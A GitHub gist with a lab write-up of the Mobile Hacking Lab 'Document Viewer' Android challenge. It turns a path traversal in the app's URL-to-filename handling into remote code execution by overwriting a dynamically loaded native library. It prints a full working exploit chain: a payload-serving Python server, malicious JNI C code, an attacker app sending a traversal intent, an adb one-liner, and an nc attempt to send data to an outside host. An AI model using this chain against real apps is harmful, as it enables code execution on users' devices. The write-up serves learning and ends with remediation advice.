Skip to content

Instantly share code, notes, and snippets.

@cooliscool
Last active December 27, 2023 14:20
Show Gist options
  • Save cooliscool/c0497adb61edbc2eeab29f07c997c4e6 to your computer and use it in GitHub Desktop.
Save cooliscool/c0497adb61edbc2eeab29f07c997c4e6 to your computer and use it in GitHub Desktop.
writeup1

Path traversal to RCE in Android - Mobile Hacking Lab ‘Document Viewer’ write-up

During my preparation for eMAPT, I came across Mobile Hacking Labs - and their free hacking labs which I felt would help me for practice. So I decided to give it a try starting with the ‘Document Viewer’ challenge. Getting right into the problem.

Problem statement

The do give out some solid hints & right direction in the problem statement.

  • Your target is an Android application with a feature to open PDFs from HTTP/HTTPS URLs

They give clear instruction with the methodology:

  1. Use reverse engineering tools to analyze the application's code and understand how it processes URLs.
  2. Identify the path traversal vulnerability and determine how to exploit it.
  3. Craft a malicious payload that leverages the dynamic code loading capability.
  4. Achieve remote code execution on the device running the application by executing the payload.

Bug Discovery

Checking out app functionality

I downloaded the app from Corellium and ran it in my local Genymotion because of the free Corellium credits running out.

The app looks like a PDF viewer.

Tried opening PDF files with it.

Hooked on to logcat for debug information from the emulator

adb logcat

I happened to spot this interesting error:

It says ‘open failed’ - while trying to open libdocviewer_pro.so

Untitled

Reversing the app

I used https://github.com/APKLab/APKLab in vs-code for quick reversing. It orchestrates reversing the APK as well as Java code.

Analysing manifest file

AndroidManifest.xml has the ‘exported’Activity ‘MainActivity’ with few intents registered with it.

The app is capable of handling android.intent.action.VIEW action which means it can be used for opening files.

There’s also hint on different schemes it support - file , http , and https . The mime type of file it can handle is application/pdf

Untitled

The manifest file has more sections - a provider and receiver also that’s defined there. I didn’t quite understand the purpose of that. ChatGPT said it’s something related to managing initialisation, and performing benchmarks - probably this is some debug stuff.

Trying out the intent functionality

After checking manifest, and also from the challenge hints, its clear that the app has more functionality - apart from what a normal user installed the app can perform.

For triggering the http:// handler of the app, I fired up an Android Studio project, and created an app for calling the ‘Document Viewer’ intent.

Untitled

Now it’s time to inspect the reversed code.

Analysing reversed logic

APKLab had taken care of decompiling the app and the Java code into respective folders.

Untitled

[MainActivity.java](http://MainActivity.java) had the following interesting code.

Untitled

There’s a loadProLibrary() function that gets executed after handleIntent() which probably handles the intent calls. Let’s look more into the most interesting one first - loadProLibrary()

Untitled

So, this is the one which threw the error about ‘library not found’. It basically tries to load the library libdocviewer_pro.so from application’s getFilesDir() + "native-libraries/" + abi folder which was displayed in the error as /data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/x86/libdocviewer_pro.so

So, there’s code being loaded dynamically and executed. If we can somehow manage to replace the file libdocviewer_pro.so we can get code execution.

We need to further investigate into how http:// files are being handled during intent call. The hint from problem statement is to focus on file downloaded over network. Let’s look at the handleIntent() function.

Untitled

Above function handles all android.intent.action.VIEW intents. Nothing mush interesting here other than call to CopyUtil.Companion.copyFileFromUri(). Vs-code search is very handy for finding the function.

CopyUtil related logic was split into multiple files CopyUtil$Companion$copyFileFromUri$1.java , [CopyUtil.java](http://CopyUtil.java) by the decompiler. The following logic handles file:// protocols and http:// separately.

Untitled

Connection is made to the given URL and file is downloaded and save to storage. If we need to get anything done, we’ll have to be able to control this.$outFile - the filename.

Untitled

File name is decided by the function which invokes CopyUtil$Companion$copyFileFromUri$1() . Over to there.

Untitled

It’s clear that the above function parses the URL. It takes the getLastPathSegment() of the URL and uses that as file name. If that happens to be null - say for URL like [http://attacker.com/](http://attacker.com/downloadpdf) a default filename download.pdf is used.

After trial-and-error I discovered that ‘Last Path segment’ is the value that comes after / in the URL.

Say, for [http://attacker.com/file.pdf](http://attacker.com/file.pdf) , file.pdf is the ‘Last path segment’.

Here the possibility to get a path traversal depends on three things :

  1. getLastPathSegment() ignoring url-encoded form of / which is %2F which would allow us to crunch in a path traversal string.

  2. new File(file, lastPathSegment) should be processing encoded file name in lastPathSegment after decoding - otherwise this might result in a file with literally the name ..%2fpayload.pdf on the disk.

  3. new File(file, lastPathSegment) should allow path traversal.

    Which means new File("/storage/emulated/0/Downloads/folder/../../file.pdf") should actually be able to create a file in /storage/emulated/0/ .

Validating behaviour of ‘getLastPathSegment()’ and ‘new File()’

Back to Android Studio for validating this.

Untitled

From logcat:

Conditions (1), (2) and (3) are thus validated.

  1. and 2. getLastPathSegment() does url-decoding - but parses the string after the un-encoded / . This is crazy 🤑 !!

  2. new File() allows path traversal.

Untitled

Now it’s good to go for exploitation.

It was good to understand the root cause of

Exploitation

HTTP server to deliver payload

from http.server import HTTPServer, BaseHTTPRequestHandler

file = open('../libs/x86/libmyexploit.so', 'rb')
data = file.read()
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-length', str(len(data)))
        self.end_headers()
        self.wfile.write(data)
        self.end_headers()

httpd = HTTPServer(('', 80), SimpleHTTPRequestHandler)
httpd.serve_forever()

Compiling the exploit .so library

While I knew that Android has NDK for making use of C/C++ code along with Java. I’ve never done this before. Alright, this challenge is pushing me to learn that bit.

  1. Downloading NDK from Android
  2. Creating exploit.c in a folder within my Android Studio project. It executes through JNI_OnLoad which is executed every time a .so file is loaded.
#include <jni.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
    if (fork() == 0) {
        system("touch /data/user/0/com.mobilehackinglab.documentviewer/hacked");
    }
    return JNI_VERSION_1_6;
}

JNIEXPORT void JNICALL Java_com_mobilehackinglab_documentviewer_MainActivity_initProFeatures
          (JNIEnv *env, jobject thisObj) {
    if (fork() == 0) {
        system("touch /data/user/0/com.mobilehackinglab.documentviewer/hacked2");
    }
   return;
}

Just the function Java_com_mobilehackinglab_documentviewer_MainActivity_initProFeatures is sufficient for the RCE. If there was a scenario where the function initProFeatures() was not invoked then JNI_OnLoad can trigger the exploit during library load itself.

  1. Creating [Android.mk](http://Android.mk) in the same folder. NDK will build it file named libmyexploit.so .
LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)

LOCAL_MODULE    := myexploit
LOCAL_SRC_FILES := exploit.c

include $(BUILD_SHARED_LIBRARY)
  1. cd into code directory and call ndk-build . The .so files for different architectures will be compiled and saved within libs. (hacky way of course 😛)
Android NDK: APP_PLATFORM not set. Defaulting to minimum supported version android-21.    
[arm64-v8a] Compile        : myexploit <= exploit.c
[arm64-v8a] SharedLibrary  : libmyexploit.so
[arm64-v8a] Install        : libmyexploit.so => libs/arm64-v8a/libmyexploit.so
[armeabi-v7a] Compile thumb  : myexploit <= exploit.c
[armeabi-v7a] SharedLibrary  : libmyexploit.so
[armeabi-v7a] Install        : libmyexploit.so => libs/armeabi-v7a/libmyexploit.so
[x86] Compile        : myexploit <= exploit.c
[x86] SharedLibrary  : libmyexploit.so
[x86] Install        : libmyexploit.so => libs/x86/libmyexploit.so
[x86_64] Compile        : myexploit <= exploit.c
[x86_64] SharedLibrary  : libmyexploit.so
[x86_64] Install        : libmyexploit.so => libs/x86_64/libmyexploit.so

Directory structure (some folders are truncated):

.
├── build
   ├── ...
├── build.gradle
├── jni
   ├── Android.mk
   └── exploit.c
├── libs
   ├── arm64-v8a
      └── libmyexploit.so
   ├── armeabi-v7a
      └── libmyexploit.so
   ├── x86
      └── libmyexploit.so
   └── x86_64
       └── libmyexploit.so
└── src
    ├── main
       ├── AndroidManifest.xml
       ├── java
       └── res

Execution of exploit app.

Exploit app is built using Android Studio

[MainActivity.java](http://MainActivity.java) of the malicious app :

public class MainActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        String ATTACKER_SERVER = "http://192.168.240.57";
        String targetPackageName = "com.mobilehackinglab.documentviewer";
        String targetActivityName = "com.mobilehackinglab.documentviewer.MainActivity";

        Uri uri = Uri.parse(ATTACKER_SERVER + "/..%2f..%2f..%2f..%2f..%2fdata%2fuser%2f0%2fcom.mobilehackinglab.documentviewer%2ffiles%2fnative-libraries%2fx86%2flibdocviewer_pro.so");
        android.content.Intent intent = new android.content.Intent(Intent.ACTION_VIEW);
        intent.setDataAndType(uri, "application/pdf");
        ComponentName componentName = new ComponentName(targetPackageName, targetActivityName);
        intent.addFlags(android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK | android.content.Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED);
        intent.setComponent(componentName);

        startActivity(intent);
    }
}

The invocation of malicious app causes an intent trigger to invoke ‘Document Viewer’ and download the exploit from server running at [http://192.168.240.57](http://192.168.240.57) .

The victim app needs to be closed and opened again once for the exploit to trigger. the exploit triggered causes creation of two files hacked and hacked2 within /data/user/0/com.mobilehackinglab.documentviewer. Yes it needs two invocations 😒.

Directory of ‘Document Viewer` :

Untitled

Final thoughts

Easier way for testing intents - am :

It’s later I came across am - a cli tool within android which help with launching intents - with any payload. No need of writing custom code for testing intent invocation.

adb shell am start -n com.mobilehackinglab.documentviewer/.MainActivity -a android.intent.action.VIEW  -d "http://144.24.141.230/..%2f..%2f..%2f..%2f..%2fdata%2fuser%2f0%2fcom.mobilehackinglab.documentviewer%2ffiles%2fnative-libraries%2farm64-v8a%2flibdocviewer_pro.so"

Avoiding 2 invocations : I’m not really sure about why the exploit didn’t work for the first invocation of the app itself, even though loadProLibrary() is invoked after handleIntent()

Untitled

Post-exploitation : this is something I still need to figure out. About what all an attacker can possibly do if there’s an RCE. How can I perform data ex-filtration?

When I was trying to get a connection to a server using nc in toybox I from the context of the app user I was getting permission error.

$ id
uid=10072(u0_a72) gid=10072(u0_a72) groups=10072(u0_a72),9997(everybody),50072(all_a72)
$ toybox nc 192.168.240.57 6666
nc: socket 1 0: Permission denied
                                           
Exit code: 1

Remediation of Bug: the bug could be possibly remediated by making it impossible to perform a path traversal.

One way to remediate is to sanitize the filename before invoking Uri.**getLastPathSegment() .** Another technique would be to completely avoid the filenames originating from user side. Generating unique and random usernames for each file will remediate.

This lab is indeed close to real-life.

Found a similar bug bounty write-up.

Evernote Android RCE : https://hackerone.com/reports/1377748

Thanks for Mobile Hacking Labs for creating the labs, and putting it out there for free.

The Exploit development course looks really cool, but price is expensive or me right now.

Reference:

Android advisory about path traversal : https://developer.android.com/privacy-and-security/risks/path-traversal

Compiling Native code for Android : https://www3.ntu.edu.sg/home/ehchua/programming/android/Android_NDK.html

https://developer.android.com/ndk/samples/sample_hellojni

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment